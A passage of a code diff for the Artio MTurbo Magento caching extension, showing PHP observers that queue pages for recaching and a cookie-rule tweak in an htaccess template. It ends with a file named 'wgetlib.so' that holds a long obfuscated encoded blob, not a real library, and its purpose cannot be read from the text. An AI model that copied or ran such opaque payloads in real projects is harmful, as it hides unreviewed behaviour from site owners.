+ $oldId = Mage::registry('mturbo_category_cache_id');
374
+ $oldUrl = Mage::registry('mturbo_category_cache_url');
375
+
376
+
377
+ if ($id == $oldId && $url != $oldUrl)
378
+ $queue->setSynchronizeFlag($flag = true);
379
+
380
+ $queue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_CATEGORY_ID, $id);
381
+
382
+ }
383
+
384
+ // refresh parents categories pages
385
+ if ($config->getRefreshParentsForProduct()=='1') {
386
+
387
+ $categoryIds = array();
388
+ foreach ($category->getParentCategories() as $parentCategory)
389
+ if ($parentCategory->getId() != $id)
390
+ $categoryIds[] = $parentCategory->getId();
391
+
392
+ $queue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_CATEGORY_ID, $categoryIds);
393
+ }
394
+
395
+ Mage::unregister('_helper/mturbo/data');
396
+
397
+ return $this;
398
  }
399
 
400
+
401
  /**
402
+ * This method does follows:
403
+ *
404
+ * Add cms to "selected cms", when there is set "add new category to select" to true (only full version).
405
+ * Refresh cms page, when there is set "refresh cms page" to true.
406
+ *
407
+ * @param Mage_Cms_Model_Page $object
408
+ * @return Artio_MTurbo_Model_Observer
409
+ */
410
+ protected function _afterSaveCMS($page)
411
+ {
412
+ if (!$this->_isInstalled() || !$page)
413
+ return $this;
414
+
415
+ $config = Mage::helper('mturbo')->getConfig();
416
+ $queue = Mage::getModel('mturbo/mturbo_event');
417
+
418
+ if ($config->getRefreshCms())
419
+ $queue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_CMS_ID, $page->getId());
420
+
421
+ Mage::unregister('_helper/mturbo/data');
422
+
423
+ return $this;
424
+ }
425
+
426
+
427
+ /**
428
+ * This method recaches pages of saved rewrite url.
429
+ *
430
+ * TODO: zadna kontroloa, zda-li muze stranka byt stazena ??
431
+ *
432
+ * @param Mage_Core_Model_Url_Rewrite $rewrite
433
+ * @return Artio_MTurbo_Model_Observer
434
+ */
435
+ protected function _afterSaveUrlRewrite($rewrite)
436
+ {
437
+ if (!$this->_isInstalled() || !$rewrite)
438
+ return $this;
439
+
440
+ $queue = Mage::getModel('mturbo/mturbo_event');
441
+ $queue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_REWRITE_ID, $rewrite->getId());
442
+
443
+ Mage::unregister('_helper/mturbo/data');
444
+
445
+ return $this;
446
+ }
447
+
448
+
449
+ /**
450
+ * Function cleans unnecessary params from current base url.
451
  * @param Varien_Event_Observer $observer
452
+ * @return Artio_MTurbo_Model_Observer
453
  */
454
+ public function cleanQueryParams($observer) {
455
  try {
456
+ Mage::helper('mturbo/urlparams')->cleanQueryParams();
 
 
 
 
457
  } catch (Exception $e) {
458
  Mage::logException($e);
459
  }
460
+ Mage::unregister('_helper/mturbo/data');
461
  }
462
 
463
  /**
464
+ * Recache pages in queue.
465
+ *
466
+ * It is executed after each request, but only after
467
+ * saving some entities it really does some work.
468
+ *
469
  * @param Varien_Event_Observer $observer
470
+ * @return Artio_MTurbo_Model_Observer
471
  */
472
+ public function flush($observer) {
473
+
474
  try {
475
+ Mage::getModel('mturbo/mturbo_event')->flush();
 
476
  } catch (Exception $e) {
477
  Mage::logException($e);
478
  }
479
+
480
  Mage::unregister('_helper/mturbo/data');
481
+
482
+ return $this;
483
  }
484
 
485
+
486
  /**
487
  * Night automatic downloader.
488
  *
489
  */
490
  public function automaticDownload() {
 
 
 
 
 
 
 
 
 
 
 
 
 
491
  }
492
 
493
+
494
  /**
495
  * Determines whether MTurbo was installed. When not retrieves FALSE.
496
  * @return boolean
499
  return (Mage::getStoreConfig('mturbo/firstconfig')==0);
500
  }
501
 
502
+
503
  }
app/code/local/Artio/MTurbo/Model/htaccess/htaccessstore.txt CHANGED
@@ -7,7 +7,7 @@
7
 
8
  # static rewrite - home page
9
 
10
- RewriteCond %{HTTP_COOKIE} store=$STORECODE
11
  RewriteCond %{HTTP_COOKIE} !artio_mturbo=.*
12
  RewriteCond %{REQUEST_URI} ^/$SUBBASE$
13
  RewriteCond %{QUERY_STRING} !.+
@@ -16,7 +16,7 @@
16
 
17
  # static rewrite - other pages
18
 
19
- RewriteCond %{HTTP_COOKIE} store=$STORECODE
20
  RewriteCond %{HTTP_COOKIE} !artio_mturbo=.*
21
  RewriteCond %{REQUEST_URI} /$SUBBASE(.*)$EXTENSION$ [NC]
22
  RewriteCond %{QUERY_STRING} !.+
7
 
8
  # static rewrite - home page
9
 
10
+ RewriteCond %{HTTP_COOKIE} store=$STORECODE;
11
  RewriteCond %{HTTP_COOKIE} !artio_mturbo=.*
12
  RewriteCond %{REQUEST_URI} ^/$SUBBASE$
13
  RewriteCond %{QUERY_STRING} !.+
16
 
17
  # static rewrite - other pages
18
 
19
+ RewriteCond %{HTTP_COOKIE} store=$STORECODE;
20
  RewriteCond %{HTTP_COOKIE} !artio_mturbo=.*
21
  RewriteCond %{REQUEST_URI} /$SUBBASE(.*)$EXTENSION$ [NC]
22
  RewriteCond %{QUERY_STRING} !.+
app/code/local/Artio/MTurbo/Model/scripts/wgetlib.so CHANGED
@@ -1 +1 @@
1
- ZUp6Pou{PkJxPjKZNl6wXmePdmSIcHqbW{WrXmF:QTJ8d{p2OER7JlSSc1qEVXyxXnmCc1mWNXibNmV3U32pcHKJRnykbXevZmiTNXOuTo[NNny2Xn15cluUNDubNmZxWX2XcmSuSoSbV3exVGRxcnF{TkCjS4SpZUOKNFq6b3eme{CMR2GsTlOUVoCjcWq3TVRx[2SYSn6bWH93ZVeXd3OIWomMR3S1[FiXfWmuPI[iW{WuZomkdFyVOX6bXGKUXmelTnKuXo[MR3t4SGGwTlOSb1qLTGqpZ3qCeGCtPX6bXGKVXmiOc1uUNDu[W2KsWkKHfXKucIWbfXiPXWelcF:rdH:bW4i4XmiKc1pzNUClXFqqZomkdFyVOX[ZfXeqWlepcHOuWXeiXF2oZ1iLemmufHyjV1J{ZWiTc1mJcI[lXFmoZletbmqYOXqbV1KxXlN1[2FzbHy[NoOoZWiS[3JzOHelS3itTVOlV2qY[ICkN2K6XWiTdHJzOH6KTGKpXXl1bVuUb{eFVX:LR2GsTlqJXnikblG1VHx6cmqZVmSbXF2wT2NxL2mYVnuXNl[6Zn2teWq6[3uiW{WuZolxL3KYWoqkNl[vXmOsO1OSNFuEVXuLR2OTNmmZTYeNWEWnZ32Xb1uEZ4GNfX:3ZWd2b2qZ[36MWIOPR3esTlOScImbXGJyZ311[2quSoOkNmV4SGGwTlOScEmKS2[{Z{KW[3W4NFuEVXuLR2iLcHSJWomjbVJxZ36XcF:4NFuEVXuL[mFxT1OSb{1jP4N7NkR7JmqIPUOjcYi3XWeTRnKuVlqjcl5xXWe5dzJ8d{p2PEh7JlOoc1qEV{iyTVeLdHKuVXebS1ZxXWOCdVy4c3eKR1GLR2OTNmmZTYeYfXRyZ{KXfXKuSoSbV3SlTVRx[1q6Z{eEbVGoTVOC[1OUVkK[XFm4W4mle2mZUoqlNkm6XlOl[FmFNHeLfXN4R3mC[1mERXeEV2JzXWiKe2e6[HujN3S2Zld6bGqHPYCbR3SlTVRx[1qJXnikbll4R3mC[1mERXeEV2JzXWiKe2e6[H2iW4itTkFx[2CURX6jXGJyZ32Lelq7d1uKR1GoTVOCTlqJXnikblKjTkKPbHSE[HSKSECoTkJyNHSZTnmjfXN4R3mC[1mERXeEV2JzXWiKe2e6[IekcUmsTkFx[2CURX6jW1[vXmd2NHK6Z{eEbVGoTVOC[1mERXeEbVGoTVOC[1OUVkGkcXuoVGODe2mZToqbWklyZ324c2SYSn6bWH93XkKXNGV{Vo[kcW[FZkJ2cXGYZ3:KcnStXXl6NXKvUny[N2[6XmN6bWmZUnyZN2[6ZlOKd1mFRYCMWIOMTVOC[1mERVqLTG[6ZlOCPVmEVkGkcXyjTkKpenN{VX6ZV{Ss[GiLdGe6[Ie[XGKwTkFxO1OqRXeKR1GoR2OTNXOue3eRV1JxZ32teFuEVkGkcYe{TVOkelq6b{eEbVGoTVOC[1OUVkK[XFm4W4mlfnGZVnyLNUCoVGOCb3SZToOQe3:oTVOC[1mCb3ulcV[6UV[{cnGZRX6ZV1F6TVOT[mVxWmOXb2[UW4mlWGKXTmeTWlqnVWWTSWWq[HSQe3:oTVGsTjJ8d{pyOkpjXkKXNGWuWn6VcV[1XmF:QTJ8d{p{OkpjSGGwTlOZTnylTG[6ZnmCcnF{TkCjS4SpZUOKNFq7d16E[3uLJku{PkFzPjKjS{mpXlWteWquPE1jP4N7NUV3PjKFVX:oTVOC[1mERXeKR1GoTVOCb3SuSomOV{BsXEOLcHN{Ro[jcl6tTVRx[1qJXnikblW1VHyDenN{VmObXFZyXmiPNFuE[H:lTGK4U3l5enR{[EONcV[6[FetelyuOXylR{m{ZWePcHKvUnyNW16wXmePdlq6e3ejcm[{ZlO4[1qJXnikblGxU4dxT1mERXeKR1GoTVOC[1mERXdjP4N7NkB7JmlzbHy[NoSUXmiPe3JzOYqbVU1:Jku{PkJ5N{J7JlSSc3eKR1GoTVOC[1mERXeKRXyxXnmCc1qJXnikblGxTVi{UlOqRXeKR1GoTVOC[1mERXeEVXuPR3mC[1mERXeKR1GoTVOC[1OSb3ulcV[6UYlxL2h{TnybNHy2Xn15eGCuUo[bS2WoVGODdHKvVkK[W4ewZ{OXbXN{VomMR2JzXWiKfGe7RnSNR1G4UFOCb3SuSomOR3uxU4dxT1mERXeKR1GoTVOC[1mERVqEW3yuT1ODdHKtPXikclqp[WOob3SuSomOfUBsXEOLcGpxcIWbcUi1VH2PemqIWYOKS1[6Z32HOVuFSYeNSFm4UFSOe1yFVYeMV3uoT2ODO1SSc3eKR1GoTVOC[1mERXeKRXuLR2FxT1mERXeKR1GoTVOC[1mERVqEVXyxXnmCc2lzPUGjcmGwTlibbHOrSYCKSER6TVSOdFmJd16EbVGoTVOC[1mERXeKR1GoR2GsTlOSNFuKR1GoTVOC[1mERXeKR1GLR2GsTly6PHeWS1[6Z{KW[3SIbHyKS2Kp[FeWUlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOTb2mZVnyKSECoZ{OTfWh{TnykS4ipXUKWc1q6OH6NR1GvUImkd1mJVomiW{CwTlibbHOrSnKOWkCxT2S{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOTNmmZTYqNWEWnZ32XcmOYOX2jfUBsXleHNGqURUmKSUGpXkKWOl:ubHyjTFKtZ3mocmlzPYmbV3OxUGR2cXJ{ToS[XGKGXWiTcFuEVnu[XGKtT2S{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVFxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoUIl5[2WISomkNmWo[FepcFmIOXijW2WPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR2JzXWiKflyVOX[kcW[vV2d2cXK6NDujcV[1XmOCPVmJVomiW{CwTlibbHOrSnKOcECxU4dxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoSGGw[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1G3UImDVWmZToqbV1JxZVeW[2lzPYSkS1[2[WFxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTlibbHOrUYSRcEm6XmelTnKuXo[NWEWrZkJye2mYOUWKSECoZWiPfmqZVX:LTGqpZ3qHZl1yNICKSEio[FiLdHKU[3ulcV[6UW[{fmiUb3eQbVGvToq{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVFxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoZWe[[1uEVkK[XFm7UGR2[nOuWn6UW{WuZolxL2lzPXubV1F6VGOCfF2Eb3eme{CMTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeEV2JzXWiKflyVOX[kcW[vV2d2cXK6NDujW2[7Z{KHcmqURUmKR2JzXWiKflyVOX[ZfXevWEC{cluVd16EbVGoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mJNHebW4i7XmODdGqqRX:LTGqpZ3qOeGCtPYmbW3SLZn2belyVOXqjNmKtTVRxPVmFTYeMV1J4SGGw[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1qJXnikbl21VH6LbHGZUnyVcUlxZWePcFuFSYeOR4eoTlibbHOrUYSRcEmnT1OlTmSsXmCZNW[SVkGLRmKGWn[VSXyFVmV2WGKXPV[YSlKLWXuXSVq6b4CQe{CMTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXenV1KtZliPcFmIcH2KR3es[H2HfV26NDuZN1qtXkCteWquPISRcV63XleW[2CVNHeOflGxTVi{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXulcV[6UYlxL3OuSoCkNm[QZkOTdGlzWX:OWFG4UFOCb3SuSomOfUBsXEF5c1pxcF:Tb{mnWm[DTGWsSlWTWkmQWEGT[mGWUmWUWmqHTomsdF:4NFuKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR2JzXWiKflyVOX[kcW[vV2d2cXK6NDubS1ZxXmOCPVmEVkK[XFm7UGR2[mi6[36VcUlxTVeHbnSIcEK[XGKtXlODOWqZVX6MWIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKTECoXme5fmqURoCbbVGwTlibbHOrUYSRcEm6XmelTnKuXo[NWEWrZkKTcFmFNEmKSGG4T2ODO1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOCTlmEVkK[XFm7UGR2fWmYcIqbWUW3[FetbmqU[4iOSFG{TVOTNmmZTYqNWEWnXImocmKGPV6SWXyQTVWTVGKXUXeVb{mWTVVyRm[GUlmLfXuxU4mC[1mERXeKR1GPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKTECPR3mC[1mERXeKR1GoTVOC[1OSb1qEVUCMTVOC[1mERXeKR1GoTVOC[1mERXeKR1GoTVODPVmIWoOkNmWo[YdxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERVqLTGqpZ3qOeGCvTniiXF6tWH16NHGYUnyMSFW4UVO4[1qJXnikbl21VHx6[luE[F[WcFqRWXx6V2KW[H[SNHiHVUC1[mKsSlqVR3OxT2S{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERXenVUCMTVOC[1mERXeKR1GoTVOCTlOSb16EbVGoTVOC[1mERXeKR1GoR2GtPVmIWoOkNmWoZWe[c1mEVkK[XFm7UGR2[nOuWn6UW{WuZolxL2lzPXubV1F6VGOCOV2ERYCKTIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1qJXnikbl21VH6LbHGZUnyVcUlxZWePcFuFSYeOR4eoTlibbHOrUYSRcEmnT1OlSmWtTmCWcEmGWEGlU2SGPVKTSkmLVlZ6U2RyVn[Tb{mXWHuScluUb{eFVX:oTVOC[1mERXeKR1GoTVOC[1mERXenV1KtZliPcFmJd16EbVGoTVOC[1mERXeKR1GoTVOC[1mERVqLTGqpZ3qOeGCtPYmbW3SLZn2belyVOXqjNmKtTVRxPVmENIiQe{CMTVOC[1mERXeKR1GoTVOC[1mERXeKRXus[H2HfV26NDukcV[xZ{KXU3J{VoC[NmWwUWSCe1yERXulcV[6UYlxL2hyPH:LNG[UWXt6V2hyTl[TNUmFV1WXSGNyPVeSWXyOTomsdF:4NFuKR1GoTVOC[1mERXeKR1GLR2hxUlOqRXeKR1GoTVOC[1mERXeEVXuPR3mC[1mERXeKR1GoTVOC[1OZNHebW4i7XmODO1SSc3eKR1GoTVOC[1mERXeKRXuLTlibbHOrUYSRclqpZWiPcGSuPUCiW16tT1SGe12Ee3eLTGqpZ3qOeGCtPX[MR3SHWXyLVGWtPWOTWXSnVUCpSmFxeH[Tb1[LWFOkdFuVd16EbVGoTVOC[1mERXeKR1GoR2hxUlOqRXeKR1GLR2F:QTJ8d{pyOkpjWVd6fnSHTnykXG[tZ{OSQTJ8d{p2N{ZxPjKFVX:oTVOC[1mERXeKS3yuT1ODdHNyPXikclqp[WOob3SuSomPR3uoTnm[[2lzPUGjcmGwTlibbHOrVYCKSESoUVOCdFmJd16EbVGoTVOC[1mERXeKR1GoTVN5elmIXo[kcUGp[FOCeFyVOHelS2[7[FSGPWmUXkCbXF5xUXpybVmIWkC[fUSPR3mC[1mERXeKR1GoTVOC[1mEVkK[XFm4TVRx[2mZTom[XHuwT2S{UlOqRXeKR1GoTVOC[1mERXeKTHSwZWe5cFuERoOiXF5xT1OTeVyERXulbXuoVGODcGmYUn:MR2JzXWiKNFuURYCKTIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1Gs[H2HfV2HeHSKSECoTXmTeWCUVkKKboOPR3mC[1mERXeKR1GoTVOC[1mJNHeKR1GoSGGw[1mERXeKR1GoTVOC[1mERXulcV[6UVOCPVmIcISkS4i3XleWc1q6XX6NR1Gs[H2HfV2Eb{eFVX:oTVOC[1mERXeKR1GoTVOCb2lzPYWlS2[2[F[TOXOIWXeRV1GqVUJ6eXSIWoWlR{Fx[WiDcF:qRnikTFK{ZWePbHSIcI[jbUl1UGilN3S6NX2jN1q1UGiXfXKIWoW[NkmsXmeTZ3OtfIWKboOPR3mC[1mERXeKR1Go[mFxT1mERXeKR1GoTVODcHKJUnyKTIOPR3mC[1mERXeKR1GoTVOC[1mEVkK[XFm4TVRx[1qJXnikbmF4SGGw[1mERXeKR1GoTVOC[1mERXu[Nkm2[FeXeXSHVkWkS2WoVGOCbWFzPYWlS2[2[FNyNHWZRnyQbVJxXmipNFx{bISjSoi6XFd1bV:4NFuKR1GoTVOC[1mERkmFVX:oTVOC[1mERXeKRUCMTVOC[1mERXeKR1KxXnmo[3GZUn[jcm[{ZlOob3SuSomOfXuoT2ODO1SSc3eKR1GoTVOC[1mCb3ulcV[6UYmCPVmGNXibNmV3U32lcHSHUkCjN1qtVUJ6eWqucH6MR1p{XmeKenSYOYqbW15yZ32WemmuSoqbWklyZ324bVyERYeMWIOPR3mC[1mERXeKR1GoTVOC[1mEVkK[XFm7TVRx[3N{VomZN1qtZ1e5bGlzWX:LfUmxZn2TcHWEOYeiTFG3XWeTeHGYOH6NR1GvTom4[1qJXnikbl2xU4dxT1mERXeKR1GoTVOC[1mERXeLTGqpZ3qO[2CURoqlTFqnZ32Xe3KISnqbV3evUEKteWqIWkSNclKwZ1N5clyERX6LfYeoTlibbHOrUYCQe{CMTVOC[1mERXeKR1J6SGGw[1mERXeKRUCMTVOC[1mERXeKR1G3UImDe2mZToqbV1JxZVeW[2pzcEKbW{SoWm[LUVSSc3eKR1GoTVOC[1mEVkK[XFm6TVRx[3OISomkNm[n[GiLd1uEVkK[XFm6T2S{UlOqRXeKR1GoTVOC[3GYXX:KR1[xZ{OPcHSE[3ulcV[6UXy{cnNzUn:bW{GtTkFxdFmJfEiKR3es[H2HfV2td36kNl6wXmdycFpyNHeKWECoTkKpNHSJRX6MV1GxTVi{[1SSc3eKR1GoTVOC[1mERXeKR1K6XmiTNXOuOHebcV[{Z{KWO1SSc3eKR1GoTVOC[1mJNF6EbVGoTVOC[1SSc3eKR1GoTVOC[1mEPI[KS2Z1[FiLbGl{VXeiS{m7[FODbHKuVXekS1ZxZVSwUlOqRXeKR1GoTVOC[1qIbI[kN2GoVGOCb3SuSomOcIOvZVd6fnSE[HSQe{CMTVOC[1mERXeKR1GsZ1eHNHGERUmKS3y7Z{KXNFuEVkK[XFm6W4mle2mZVn:LNUCxTVR5[1qJXnikblqjTkODbHSI[36ZV1F3TVOkelq7d16EbVGoTVOC[1SSc3eKR1GoTVOC[1mEPI[KS{m4Xmd1[2mURoqjNl6zXmiS[2lzPYWjcW[r[FetenKqRo[jbVK4ZkOLNFmF[4eFVX:oTVOC[1mERXeKR2KtZ36LeXK6RUmKS{VyZle4O1SSc3eKR1GoTVOC[1mEVnykclq7[FiK[2CURoWlW4i{U4dxT1mERXeKR1GoTVOCb2qvRXeRV1KCXn6PemlzeI[kS2[2T1OTc3J{UkCNR1F1UVO4[1qIWomkcUW3UFOCb2qZTomkN2K6UFOCNVuVd16EbVGoTVOC[1mERXeiW2mwTVOTcXOERUmRWECoXn2Hd3NzWXeMV1J4SGGw[1mERXeKR1GoTVOC[1mERombXGJyZ311[2quSoOkNmV4SGGw[1mERXeKR1GoTVhxUlOqRXeKR1GoTVOC[1SSc3eKR1GoTVOC[1mIcH2KR3epZWiP[nKvWoOjR3es[H2HfV6qb4CKTIOPR3mC[1mERXeKR1GoTVOC[1mEVkK[XFlzTVRx[1mtWoqbXFm1VWelcHKvVU[KR1m2TlibbHOrXYWKcIi6XFd1bV:4NFuKR1GoTVOC[1mERkmFVX:oTVOC[1mCNFuKR1GoTVOC[1mERY[NfVK7Xmd2b1mJVn:bV1K6XmiHNWqZUkCFVX:oTVOC[1mERXeKS3yuTVOob3SuSomPV1F6VGOCcnOIPYqlR3OxTVi{UlOqRXeKR1GoTVOC[1mERXeKS2q4[GiTfluEVn2kR4eoTXyDVGVyVXeLTFKp[Feo[2OHVmWWR{i5UHqHZ3OtfIWKbXt4SGGw[1mERXeKR1GoTVOC[1mERoCbbVGwTWetfmhzOUGjS4ewTlibbHOrXYCMV1J4SGGw[1mERXeKR1GoTVOC[1mERXeKR1GoXn6DNXSJUX:LS2q4UFOCb3SuSomPbXt4SGGw[1mERXeKR1GoTVOC[1mERkmFVX:oTVOC[1mERXeKR1GoTVODcXOJWkCkfXesXn6Cd1mETlmjN15xU3mCb3GIPYqlSoi6XFd1bVuVd16EbVGoTVOC[1mERXeKR1GoTVebe3SZVoqMR2KuZ1O4[1mtTnybcW[6XmiKOlmEVkK[XFm7XFiLZ3KqTYCQe{CMTVOC[1mERXeKR1GoTVOC[2qvRkGlTF2wTlebe1yERXu[Nkm2[FeXeXSHVkWkS2WxU4dxT1mERXeKR1GoTVOC[1mERXebclJy[FiOc1qIXoeNR1GqVUJ6eXSIWoWlR{G{Xmd2cnSI[{[KR1m2TViPNHOufHyjbXes[H2HfV2Eb3eNbVqkZ3y5eVmqb{eFVX:oTVOC[1mERXeKR1GoTVODcXOJWkCkfXesXn6Cd1mETlSjNkW2XmePNHGYPYWQbVKrZld6fmqXfImZS{WkZ3y5eVmqb{eFVX:oTVOC[1mERXeKR1GoTVODcXOJWkCkfXesXn6Cd1mEVkK[XFm4T2S{UlOqRXeKR1GoTVOC[3[SNFuKR1GoTVOC[1mERnyjTF6tZWe[[1uEVkK[XFlyTVRxPVmE[H6bXGGvT2ODO1SSc3eKR1GoTVOC[1mERXeKR1GsZ2iXcHOvb3eRV1GvToq{UlOqRXeKR1GoTVOC[1mERXeKS3yuTVOpdHN{UnylR3es[H2HfV2td36kXG[tZ36scmiUb4CKTIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GsZ2iXcHOvb3eRV1GvVImkeVqJXnikblqjTkOHNWqZTkWLNUB4SGGw[1mERXeKR1GoTVOC[1mERkmFVX:oTVOC[1mERXeKR1GoTVODcXOJWkCkfXesXn6Cd1mETliTWmGo[YmTe2mZVn:nXIOsZ2iXcHOvcEmKSXiWWl[Cel2UOIiZTFqkZnmKdF:4NFuKR1GoTVOC[1mERXeKR1GoZWe[[1uESoCkNUm2[Ge5d1uEVkK[XFlzT2Os[3W4NFuKR1GoTVOC[1mERXeKR1GoTVOC[1mIXoelXGK7T1OTcXOEe3eLTGqpZ3q[dF:4NFuKR1GoTVOC[1mERXeKR1Go[mFxT1mERXeKR1GoTVOC[1mERXebclJy[FiOc1qIXoeNR1GqV1d6fnSFc3eLS3i3Z{OTZ3OtfIWKbXt4SGGw[1mERXeKR1GoTVOC[1mERn2kTGZxZ4mob2qvRYOKR1qFZkJ2eWqYUkCiW{m2U3mDbnKIPYqbWoi6XFd2Z3OtfIWKbXt4SGGw[1mERXeKR1GoTVhxUlOqRXeKR1GoSGGw[1mERXeKR1GoTVOTfWqZUkGjTGGoVGOCclq7d3eFVX:oTVOC[1mERXeKTHSwZWe5cFuESn2bW{muT1OTcXOEb4CKTIOPR3mC[1mERXeKR1GoTVOC[1mEPI[KTFqtXUKXdHSuWXelS3itTViLcHN{WoOlTF2oZkK[[3SIbHyKTFqtZ2iXcHN{VV6EbVGoTVOC[1mERXeKR1GoTVOTfWqZUkGjTGGoUHpx[2qu[HylTF2wTlebe1yERYiObnexU4dxT1mERXeKR1GoTVODPVSSc3eKR1GoTVFxT1mERXeKR1GoTVOCely6RnqjS{m7XmODNHGIWXekNkmrZUKXNFmIUo[jcUWtXUOTdHJzOE[FVX:oTVOC[1mERXeKS2qrZld6fmqU[3ubclGxU4dxT1mERXeKR1GPR3mC[1mERXeKR1GoUIl5[3N{RoOiXGGo[FepcFmJTnykN2[{[FODc2qYSnubXFmoXn6LenKURkCiS2WoXUJ6eXSIWoWlRUCMTVOC[1mERXeKR1GsZ32XfnSYfECKSECoXmipe3KIPXubV3eqXFiLZ3KtfImZS{SqUFOCb3OuWoqlW4hxUFOCfVuVd16EbVGoTVOC[1SSc3eKR1GoTVOC[1mEVn:bW1[sXmiK[2CURoCkN16t[FOob3OuWoqlW4hxW4qD[FuURT:KR2K6XmiPNXKJVnKOSkCoU3mCclq7d16EbVGoTVOC[1mERXeLS163Zn6TcHKvVXeRV1KxZ{OPcHSE[3ukcW[7[Ge5NGe7SnSMV1FwTVOTfWqZUkGjTGKjUWZx[1:qRX6LfoOPR3mC[1mERXeKR1GoSGGw[1mERXeKR1GoTVOTNmmZTYiKSECoZn2XN1mJUkCbSV6{XWiPfluEb{eFVX:oTVOC[1mERXeKR2JzXWiKfFyVOX:bW1[sXmiK[2CURXuiS2[pXleXfV:4NFuKR1GoTVOC[1mERXulcV[6UWNxL2lzPYWlS2[2[FOCPVmEVnqjNkVxXmd2NF:4NFuKR1GoTVOC[1mERV6EbVGoTVOC[1mERXeNfUioV1eHeWqIfHyKS16w[Gd2dmqYVXelTFqpZn6PcWqZTXeiW2moZn2XcGqIWnuFVX:oTVOC[1mERXeKS3yuT1ODfnSJToejN12wZ{OTfXSIPYOjN3StZ3mob3SuSomOV{BsZVeXbGqIWomMV4eoTkOTfWmYOYqbcW[6UGeXeWlzPXuiW{WvU3mDbnGJWoWiNm[sToms[1mVNEmKS2qpZliPcFmEb3eme{CMTVOC[1mERXeKR1GoTVOC[1qJRnikcl6tXlOCPVmEZ36Qe{CMTVOC[1mERXeKR1GoTVOC[1qIfHybcmGoVGOCb3SuSomOV{BsXUJ6eXSIWoWlSIOPR3mC[1mERXeKR1GoTVOC[1mCNFuKR1GoTVOC[1mERXeKR1Go[EKpdHKIWX:KTGK6[GeW[1uURkeFVX:oTVOC[1mERXeKR1GoTVOC[1mERXeLTFK3Z4mCPVmJUkCkclK3Z4mob3KIWn2lR4eoTXy5fWiIOHmMWIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1KxXnmo[1qJRo[kfVF6VGRx[2quSoOkNmWoT2ODO1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1mERXeKTFqt[FiXfXKqRXulcV[6UWS{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVODPVSSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1qIUn:lW{WzZ{KtOmqURUmKTF5yXX6PNHOq[3ujS2[u[FO4[12Ee3eLTFK3Z4msO1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1qJRo[kfVGzVGODfnSJToObW{SwTXy5fWiIOHmMWIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GsZleXcXSERUmKTF5yXX6PNHOq[3ujS2[u[FO4[1qJRo[kfXt4SGGw[1mERXeKR1GoTVOC[1mERXeKR1GoSGGw[1mERXeKR1GoTVOC[1mERXeKR1GoTliDenO6RUmKTF5xZ36DenO6[3u[NnhyZn21fnGZdHyNR1GvU4mkdF:4NFuKR1GoTVOC[1mERXeKR1GoTVOC[1mIcH2MR1GsZ1d6flmESUmRV1KuXWe5fmqURYCKTIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1qIUn:lW{WzZ{KtOmqURUmKTF5yXX6PNHOq[3u[NnhyZn21fnGZdHyNR1G4UFOCb3OIPYqMWIOPR3mC[1mERXeKR1GoTVOC[1mERXeKR1J6SGGw[1mERXeKR1GoTVOC[1mERXeKR1GoTlePc3SYOYKkNnx3XmOCPVmIbHymS2KtXYmob2lzbEGjcYS7ZWixcFuVd16EbVGoTVOC[1mERXeKR1GoTVOC[1mERV6EbVGoTVOC[1mERXeKR1GoTVOC[1mERoCbbXeoTlePc3SYOYKkNnx3XmOCPWCURYeKR3uo[YdxT1mERXeKR1GoTVOC[1mERXeKR1GoTVOC[1mERnmkcW[pZYq{UlOqRXeKR1GoTVOC[1mERXeKR1GoTVODPVSSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1SSc3eKR1GoTVOC[1mERXeKR1GoTVOC[1qJRnikcl6tXlOCeWCURoqlW1q7[FiKc1qIfHybcmG{TVSCd1mEVnqiTG[2ZUOPdHWuWYCQe{CMTVOC[1mERXeKR1GoTVOC[1mERXeKR2K{XmebNFmFNHekN2[qZ{OTfVuEVoObW2pxUFOCb2lzbEGjcYS7ZWixcFmEd3ekN2K6ZleXeVuETnOkcIi2TXmsdF:4NFuKR1GoTVOC[1mERXeKR1Go[mFxT1mERXeKR1GoTVOC[1mERXeFVX:oTVOC[1mERXeKR1GoTVOCb3SuSomOV{BsXUJ6eXSIWoWlR1F6TVOTe2mZToqbW2F4SGGw[1mERXeKR1GoTVhxUlOqRXeKR1GoTVOC[zJ8d{